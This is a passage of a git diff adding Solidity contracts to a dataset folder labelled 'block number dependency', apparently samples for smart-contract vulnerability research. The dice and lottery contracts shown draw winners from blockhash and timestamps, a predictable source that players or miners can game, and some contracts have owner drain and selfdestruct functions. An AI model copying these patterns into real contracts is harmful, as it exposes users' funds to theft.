require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1149.sol b/smart_contract_dataset/block number dependency/1149.sol new file mode 100644 index 0000000000000000000000000000000000000000..46dc6efafe2ec45297daa5854a99dffb204cafff --- /dev/null +++ b/smart_contract_dataset/block number dependency/1149.sol @@ -0,0 +1,403 @@ +pragma solidity ^0.4.24; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint48(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + if (profit > maxProfit){ + profit = maxProfit; + } + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + + + playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); + + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0)); + + + + + setMaxProfit(); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + require(msg.sender == ZTHTKNADDR); + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1165.sol b/smart_contract_dataset/block number dependency/1165.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1165.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/129.sol b/smart_contract_dataset/block number dependency/129.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/129.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(address(currentDropTokenContract) != address(0)); + return currentDropTokenContract.multiSend(_destAddrs, _values); + } + +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1297.sol b/smart_contract_dataset/block number dependency/1297.sol new file mode 100644 index 0000000000000000000000000000000000000000..8f1ae748f0f9e54e0159430264ece0fc2d8abe4e --- /dev/null +++ b/smart_contract_dataset/block number dependency/1297.sol @@ -0,0 +1,136 @@ +pragma solidity ^0.4.24; +contract BREBuy { + + + struct ContractParam { + uint32 totalSize ; + uint256 singlePrice; + uint8 pumpRate; + bool hasChange; + } + + address owner = 0x0; + uint32 gameIndex = 0; + uint256 totalPrice= 0; + ContractParam public setConfig; + ContractParam public curConfig; + + address[] public addressArray = new address[](0); + + + event addPlayerEvent(uint32,address); + event GameOverEvent(uint32,uint32,uint256,uint8,address,uint ); + + + constructor ( uint32 _totalSize, + uint256 _singlePrice + ) public payable { + owner = msg.sender; + setConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + curConfig = ContractParam(_totalSize,_singlePrice * 1 finney ,5,false); + startNewGame(); + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) onlyOwner public { + if (newOwner != address(0)) { + owner = newOwner; + } + } + + function changeConfig( uint32 _totalSize,uint256 _singlePrice,uint8 _pumpRate) onlyOwner public payable { + + curConfig.hasChange = true; + if(setConfig.totalSize != _totalSize) { + setConfig.totalSize = _totalSize; + } + if(setConfig.pumpRate != _pumpRate){ + setConfig.pumpRate = _pumpRate; + } + if(setConfig.singlePrice != _singlePrice * 1 finney){ + setConfig.singlePrice = _singlePrice * 1 finney; + } + } + + function startNewGame() private { + + gameIndex++; + if(curConfig.hasChange) { + if(curConfig.totalSize != setConfig.totalSize) { + curConfig.totalSize = setConfig.totalSize; + } + if(curConfig.singlePrice != setConfig.singlePrice){ + curConfig.singlePrice = setConfig.singlePrice; + } + if( curConfig.pumpRate != setConfig.pumpRate) { + curConfig.pumpRate = setConfig.pumpRate; + } + curConfig.hasChange = false; + } + addressArray.length=0; + } + + + function addPlayer() public payable { + + require(msg.value == curConfig.singlePrice); + totalPrice = totalPrice + msg.value; + addressArray.push(msg.sender); + + emit addPlayerEvent(gameIndex,msg.sender); + if(addressArray.length >= curConfig.totalSize) { + gameResult(); + startNewGame(); + } + } + + function getGameInfo() public view returns (uint256,uint32,uint256,uint8,address[],uint256) { + return (gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + addressArray, + totalPrice); + } + + function getSelfCount() private view returns (uint32) { + uint32 count = 0; + for(uint i = 0; i < addressArray.length; i++) { + if(msg.sender == addressArray[i]) { + count++; + } + } + return count; + } + + function gameResult() private { + + uint index = getRamdon(); + address lastAddress = addressArray[index]; + uint totalBalace = address(this).balance; + uint giveToOwn = totalBalace * curConfig.pumpRate / 100; + uint giveToActor = totalBalace - giveToOwn; + owner.transfer(giveToOwn); + lastAddress.transfer(giveToActor); + emit GameOverEvent( + gameIndex, + curConfig.totalSize, + curConfig.singlePrice, + curConfig.pumpRate, + lastAddress, + now); + } + + function getRamdon() private view returns (uint) { + bytes32 ramdon = keccak256(abi.encodePacked(ramdon,now,blockhash(block.number-1))); + for(uint i = 0; i < addressArray.length; i++) { + ramdon = keccak256(abi.encodePacked(ramdon,now, addressArray[i])); + } + uint index = uint(ramdon) % addressArray.length; + return index; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1345.sol b/smart_contract_dataset/block number dependency/1345.sol new file mode 100644 index 0000000000000000000000000000000000000000..5f32055f0fac20bca703300a354f025e1644beaf --- /dev/null +++ b/smart_contract_dataset/block number dependency/1345.sol @@ -0,0 +1,458 @@ +pragma solidity ^0.4.24; + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + uint constant internal magnitude = 2**64; + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZethrBankrollBridge{ + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal { + uint tier = ZethrTierLibrary.getTier(userDivRate); + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } +} + + +contract ZethrShell is ZethrBankrollBridge{ + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zethroll is ZethrShell { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) { + require( calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate) + && _betSize >= minBet + && _playerNumber >= minNumber + && _playerNumber <= maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 100; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + + mapping (uint => uint) public contractBalance; + mapping (uint => uint) public maxProfit; + uint public houseEdge; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address ZethrMainBankrollAddress) public { + setupBankrollInterface(ZethrMainBankrollAddress); + + + owner = msg.sender; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + } + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint192 tokenValue; + uint48 blockn; + uint8 rollUnder; + uint8 divRate; + } + + + mapping(address => playerRoll) public playerRolls; + + + function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private + gameIsActive + betIsValid(_tkn.value, _rollUnder, userDivRate) + { + require(_tkn.value < ((2 ** 192) - 1)); + require(block.number < ((2 ** 48) - 1)); + require(userDivRate < (2 ** 8 - 1)); + + + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(_tkn.sender); + } + + + roll.blockn = uint48(block.number); + roll.tokenValue = uint192(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + roll.divRate = uint8(userDivRate); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(msg.sender); + } + + + function _finishBet(address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(100, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + uint mProfit = getMaxProfit(roll.divRate); + if (profit > mProfit){ + profit = mProfit; + } + + + subContractBalance(roll.divRate, profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(roll.divRate); + + + playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); + + + RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate); + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + addContractBalance(roll.divRate, roll.tokenValue); + + playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); + + + + + setMaxProfit(roll.divRate); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn, userDivRate); + + return true; + } + + + function setMaxProfit(uint divRate) internal { + + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint){ + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public + onlyOwner + { + contractBalance[divRate] = newContractBalance; + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + + selfdestruct(owner); + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/135.sol b/smart_contract_dataset/block number dependency/135.sol new file mode 100644 index 0000000000000000000000000000000000000000..8f17b682a5b50f1f56473d2dbe78442d44854c82 --- /dev/null +++ b/smart_contract_dataset/block number dependency/135.sol @@ -0,0 +1,1130 @@ +pragma solidity ^0.4.24; + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() public onlyOwner whenNotPaused { + paused = true; + emit Pause(); + } + + + function unpause() public onlyOwner whenPaused { + paused = false; + emit Unpause(); + } +} + + + + +contract ERC721Receiver { + + bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; + + + function onERC721Received( + address _operator, + address _from, + uint256 _tokenId, + bytes _data + ) + public + returns(bytes4); +} + + + +contract ERC721Holder is ERC721Receiver { + function onERC721Received( + address, + address, + uint256, + bytes + ) + public + returns(bytes4) + { + return ERC721_RECEIVED; + } +} + + + + +contract ERC721Basic { + function balanceOf(address _owner) public view returns (uint256 _balance); + function ownerOf(uint256 _tokenId) public view returns (address _owner); + function exists(uint256 _tokenId) public view returns (bool _exists); + + function approve(address _to, uint256 _tokenId) public; + function getApproved(uint256 _tokenId) public view returns (address _operator); + + function transferFrom(address _from, address _to, uint256 _tokenId) public; +} + + +contract HorseyExchange is Pausable, ERC721Holder { + + event HorseyDeposit(uint256 tokenId, uint256 price); + event SaleCanceled(uint256 tokenId); + event HorseyPurchased(uint256 tokenId, address newOwner, uint256 totalToPay); + + + uint256 public marketMakerFee = 3; + + + uint256 collectedFees = 0; + + + ERC721Basic public token; + + + struct SaleData { + uint256 price; + address owner; + } + + + mapping (uint256 => SaleData) market; + + + mapping (address => uint256[]) userBarn; + + + constructor() Pausable() ERC721Holder() public { + } + + + function setStables(address _token) external + onlyOwner() + { + require(address(_token) != 0,"Address of token is zero"); + token = ERC721Basic(_token); + } + + + function setMarketFees(uint256 fees) external + onlyOwner() + { + marketMakerFee = fees; + } + + + function 